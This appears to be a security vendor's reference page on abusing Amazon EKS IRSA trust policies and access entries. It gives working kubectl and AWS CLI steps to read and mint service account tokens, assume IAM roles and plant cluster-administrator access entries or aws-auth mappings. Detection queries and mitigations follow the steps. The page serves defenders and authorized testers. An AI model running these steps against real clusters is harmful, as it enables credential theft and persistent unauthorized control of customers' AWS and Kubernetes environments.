1. Resources
  2. Identity Threats
  3. AWS

Amazon EKS IRSA and Access Entry Abuse

Also known as: IRSA role trust abuse, EKS service account role theft, EKS access entry backdoor, aws-auth ConfigMap abuse

A pod can take an IAM role whose IRSA trust doesn't pin one service account, and an AWS principal with EKS rights can grant any identity cluster administrator through an access entry.

Platform
AWS
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Specific rights or roles
IRSA: rights to run or exec into pods, or to create service account tokens, in a namespace the trust admits. Access entries: eks:CreateAccessEntry and eks:AssociateAccessPolicy.
What the attacker gains
AWS credentials of a workload's IAM role from inside the cluster, or Kubernetes cluster administrator for an IAM principal the attacker controls.

How it works

An Amazon EKS cluster has two identity bridges, and they point in opposite directions.

IRSA: Kubernetes to AWS. With IAM roles for service accounts, the cluster is an OpenID Connect issuer. Kubernetes signs a token for a service account, the pod presents it to sts:AssumeRoleWithWebIdentity, and STS returns credentials for an IAM role. This is workload identity federation, and as with every OIDC trust the role's trust policy has to say which subject it accepts. The subject of a service account token is system:serviceaccount:NAMESPACE:NAME. Three trust mistakes are common:

  • No sub condition. The trust checks only aud equal to sts.amazonaws.com. AWS states that any service account in the cluster can then assume the role.
  • Wildcard subject. StringLike with system:serviceaccount:*:* or system:serviceaccount:dev:* admits every service account in the cluster or in a namespace, including ones the attacker creates.
  • Correct trust, loose namespace. The trust names one service account, but anyone who can create pods in that namespace can run a pod under it, and anyone who can exec into its pods can read the token.

The eks.amazonaws.com/role-arn annotation on a service account is not a control. It only tells EKS which role ARN and token file to inject into pods. The trust policy decides.

Access entries: AWS to Kubernetes. An access entry registers an IAM principal for a cluster, optionally with Kubernetes group names, and an associated access policy grants it permissions at cluster or namespace scope. AmazonEKSClusterAdminPolicy at cluster scope is administrator access. The older store is the aws-auth ConfigMap in kube-system, where a mapping to the system:masters group has the same effect. Which store applies depends on the cluster's authentication mode (API, API_AND_CONFIG_MAP or CONFIG_MAP).

An attacker with the right EKS permissions in the AWS account can therefore make any IAM principal a cluster administrator without touching Kubernetes. EKS access policies and Kubernetes RBAC are cumulative: either one can allow a request.

The two directions chain. Cluster administrator can run a pod under any service account, so it can collect every IRSA role of the cluster. An IRSA role with EKS permissions can create an access entry for itself.

Prerequisites

For IRSA role theft:

  • A foothold in the cluster: code execution in a pod, or Kubernetes credentials that can create pods, exec into pods or create service account tokens in some namespace.
  • An IAM role whose trust policy names the cluster's OIDC provider and admits a subject the attacker can obtain.
  • Network access from the pod to an STS endpoint.

For access entry abuse:

  • An AWS principal with eks:CreateAccessEntry and eks:AssociateAccessPolicy (or eks:UpdateAccessEntry) on the cluster, in authentication mode API or API_AND_CONFIG_MAP.
  • For the ConfigMap path: Kubernetes rights to edit kube-system/aws-auth, in mode CONFIG_MAP or API_AND_CONFIG_MAP.
  • Network access to the cluster's API endpoint to use the new access.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find IRSA roles and read their trust

From inside the cluster, annotated service accounts list the roles:

kubectl get serviceaccounts --all-namespaces \
    -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.metadata.annotations.eks\.amazonaws\.com/role-arn}{"\n"}{end}'

# What the current identity may do in a namespace
kubectl auth can-i --list --namespace=payments

From the AWS side, compare the cluster's issuer with the roles that trust it:

aws eks describe-cluster --name prod-cluster \
    --query "cluster.identity.oidc.issuer" --output text
aws iam list-open-id-connect-providers
aws iam get-role --role-name payments-s3-writer --query 'Role.AssumeRolePolicyDocument'

A trust statement like this one admits every service account of the cluster:

{
  "Effect": "Allow",
  "Principal": {
    "Federated": "arn:aws:iam::111122223333:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/EXAMPLED539D4633E53DE1B71EXAMPLE"
  },
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
    "StringEquals": {
      "oidc.eks.us-east-1.amazonaws.com/id/EXAMPLED539D4633E53DE1B71EXAMPLE:aud": "sts.amazonaws.com"
    }
  }
}

2. Take the role from a pod that already has it

In a pod whose service account is annotated, EKS sets two environment variables and mounts the token. The AWS CLI and SDKs use them automatically:

kubectl exec -n payments deploy/payments-api -- env | grep AWS_
# AWS_ROLE_ARN=arn:aws:iam::111122223333:role/payments-s3-writer
# AWS_WEB_IDENTITY_TOKEN_FILE=/var/run/secrets/eks.amazonaws.com/serviceaccount/token

kubectl exec -n payments deploy/payments-api -- \
    cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token

The token can be exchanged from anywhere that reaches STS, and the call needs no AWS credentials:

aws sts assume-role-with-web-identity \
    --role-arn arn:aws:iam::111122223333:role/payments-s3-writer \
    --role-session-name payments-api \
    --web-identity-token "$SA_TOKEN"

3. Take a role with a token you mint

When the trust has no subject condition or a wildcard, any service account works. Mint a token with the STS audience for one the attacker controls and name the target role:

kubectl create serviceaccount probe --namespace dev
SA_TOKEN=$(kubectl create token probe --namespace dev --audience sts.amazonaws.com)

aws sts assume-role-with-web-identity \
    --role-arn arn:aws:iam::111122223333:role/cluster-autoscaler \
    --role-session-name probe \
    --web-identity-token "$SA_TOKEN"

When the trust names one service account and the attacker can create pods in its namespace, run a pod under that service account and read the injected credentials:

apiVersion: v1
kind: Pod
metadata:
  name: debug
  namespace: payments
spec:
  serviceAccountName: payments-api
  containers:
    - name: cli
      image: public.ecr.aws/aws-cli/aws-cli:latest
      command: ["sleep", "3600"]
kubectl apply -f debug-pod.yaml
kubectl exec -n payments debug -- aws sts get-caller-identity

4. Grant cluster administrator through an access entry

With EKS permissions in the account, register a principal and attach the administrator policy:

aws eks describe-cluster --name prod-cluster \
    --query "cluster.accessConfig.authenticationMode" --output text
aws eks list-access-entries --cluster-name prod-cluster

aws eks create-access-entry \
    --cluster-name prod-cluster \
    --principal-arn arn:aws:iam::111122223333:role/ci-runner

aws eks associate-access-policy \
    --cluster-name prod-cluster \
    --principal-arn arn:aws:iam::111122223333:role/ci-runner \
    --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy \
    --access-scope type=cluster

# Use it
aws eks update-kubeconfig --name prod-cluster --region us-east-1
kubectl auth can-i --list

The principal can be a role that trusts another account, which makes the entry a way back in from outside.

5. The ConfigMap path

On clusters that still read aws-auth, a mapping to system:masters does the same from inside Kubernetes or with eksctl:

eksctl get iamidentitymapping --cluster prod-cluster --region=us-east-1

eksctl create iamidentitymapping --cluster prod-cluster --region=us-east-1 \
    --arn arn:aws:iam::111122223333:role/ci-runner --username admin --group system:masters \
    --no-duplicate-arns

Impact

IRSA roles are real AWS identities with real permissions: buckets, queues, secrets, DNS, load balancers, and for controllers such as autoscalers or CI operators often IAM and EC2 write access. A pod compromise that was contained to one namespace becomes access to the AWS account, with credentials that work outside the cluster until they expire.

Cluster administrator through an access entry gives the reverse: every secret, every workload and every service account token of the cluster, and through them every IRSA role. Because the grant lives in the EKS API, it survives a rebuild of RBAC and a cleanup of the ConfigMap.

OPSEC and artifacts

  • The IRSA exchange is in CloudTrail. AssumeRoleWithWebIdentity is logged under sts.amazonaws.com with userIdentity.type of WebIdentityUser, the cluster's provider ARN in userIdentity.identityProvider and the service account subject in userIdentity.userName. A subject that isn't the role's intended service account is the trace of a wildcard or missing condition.
  • Legitimate pods make the same call all day. An operator who reuses the real service account's token and the pod's usual session name is indistinguishable at the STS event. What differs is the source address when the credentials are used outside the cluster's nodes or NAT gateways.
  • A shared service account hides the pod. The subject identifies a workload class. When replicas share a service account, CloudTrail alone can't say which pod made the call.
  • Token minting and debug pods are in the Kubernetes audit log, as create on serviceaccounts/token and on pods, with user.username and user.groups. That log reaches CloudWatch only when control plane logging is enabled. Every log type is off by default.
  • Access entry changes are CloudTrail management events under eks.amazonaws.com: CreateAccessEntry, UpdateAccessEntry, AssociateAccessPolicy. They name the actor in userIdentity and the receiving principal in the request. Nothing appears in the Kubernetes audit log until the principal uses the cluster.
  • ConfigMap edits appear only in the Kubernetes audit log, as an update of kube-system/aws-auth. Without audit logging there is no record of who added a mapping.
  • Cleanup leaves the grant visible in reverse. DisassociateAccessPolicy and DeleteAccessEntry are logged too, and a short-lived entry is itself a signal.

Detection

-- Athena, CloudTrail table: which service accounts obtained which IRSA role
SELECT
    json_extract_scalar(requestparameters, '$.roleArn') AS role_arn,
    useridentity.username AS service_account_subject,
    sourceipaddress,
    count(*) AS exchanges,
    min(eventtime) AS first_seen
FROM cloudtrail_logs
WHERE eventsource = 'sts.amazonaws.com'
  AND eventname = 'AssumeRoleWithWebIdentity'
  AND useridentity.principalid LIKE '%oidc.eks.%'
  AND errorcode IS NULL
  AND eventtime >= '2026-11-01T00:00:00Z'
GROUP BY 1, 2, 3
ORDER BY first_seen DESC
  • Weak trust at creation. The role trust policy rules see every new trust document. Flag an oidc.eks federated principal without a :sub condition or with a wildcard in it. A new or changed OIDC provider is covered by the identity provider rules.
  • Role sessions used outside the cluster. Calls by an IRSA role session from addresses that are not the cluster's egress.
  • Kubernetes audit events for token creation on service accounts that have a role annotation, pods created with such a service account by a human user, exec into those pods, and updates of aws-auth.

Mitigation

  • Pin both claims in every IRSA trust policy. StringEquals on :aud and on :sub with the exact namespace and service account. AWS warns never to use a wildcard such as system:serviceaccount:*:*.
"Condition": {
  "StringEquals": {
    "oidc.eks.us-east-1.amazonaws.com/id/EXAMPLED539D4633E53DE1B71EXAMPLE:aud": "sts.amazonaws.com",
    "oidc.eks.us-east-1.amazonaws.com/id/EXAMPLED539D4633E53DE1B71EXAMPLE:sub": "system:serviceaccount:payments:payments-api"
  }
}
  • Treat the namespace as the trust boundary. Whoever can create pods, exec into pods or create tokens in a namespace holds the IAM roles of its service accounts. Limit those rights with RBAC and admission policy, and give workloads with powerful roles their own namespace.
  • Keep IRSA roles small. One role per workload with the least privilege it needs. A controller role with IAM or EKS write access deserves the same care as an administrator.
  • Restrict the EKS access APIs. Allow eks:CreateAccessEntry, eks:UpdateAccessEntry and eks:AssociateAccessPolicy only to the platform team's roles, and consider a service control policy that denies associating AmazonEKSClusterAdminPolicy outside a break-glass role.
  • Move to API authentication mode once all mappings are migrated, so the aws-auth ConfigMap is no longer a second place to grant access. Access entries can be reviewed and logged from the AWS side.
  • Review both stores and RBAC together. List access entries and their policies, the ConfigMap mappings and the cluster role bindings. Removing one grant can leave the same permission in another.
  • Turn on control plane logging for the audit and authenticator log types, and keep the logs long enough to investigate.
  • Keep the API endpoint private or restricted to known networks, so a planted access entry is harder to use from outside.

Detection rules for this attack

Log events to collect

FAQ

What is wrong with an IRSA trust policy that only checks the audience?

The audience sts.amazonaws.com is the same for every service account token of the cluster. AWS states that without a condition on the sub claim, any service account in the cluster can assume the role. The sub value system:serviceaccount:NAMESPACE:NAME is what ties the role to one workload.

Does creating an access entry show up in the Kubernetes audit log?

No. CreateAccessEntry and AssociateAccessPolicy are EKS API calls and are recorded in CloudTrail under eks.amazonaws.com. Nothing is written inside Kubernetes until the new identity starts to use the cluster, so a review of RBAC bindings and the aws-auth ConfigMap alone doesn't find the grant.

Is a service account annotation enough to get the role?

No. The eks.amazonaws.com/role-arn annotation only tells EKS which role ARN to inject into the pod. The role's trust policy decides. An attacker who can create service accounts can annotate one with any role ARN, and it works only if that role's trust admits the new service account's subject.

Which is evaluated first, an access entry or the aws-auth ConfigMap?

In API_AND_CONFIG_MAP mode both stores are read, and when both map the same IAM principal the access entry takes precedence. In API mode only access entries apply, and in CONFIG_MAP mode only the ConfigMap.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.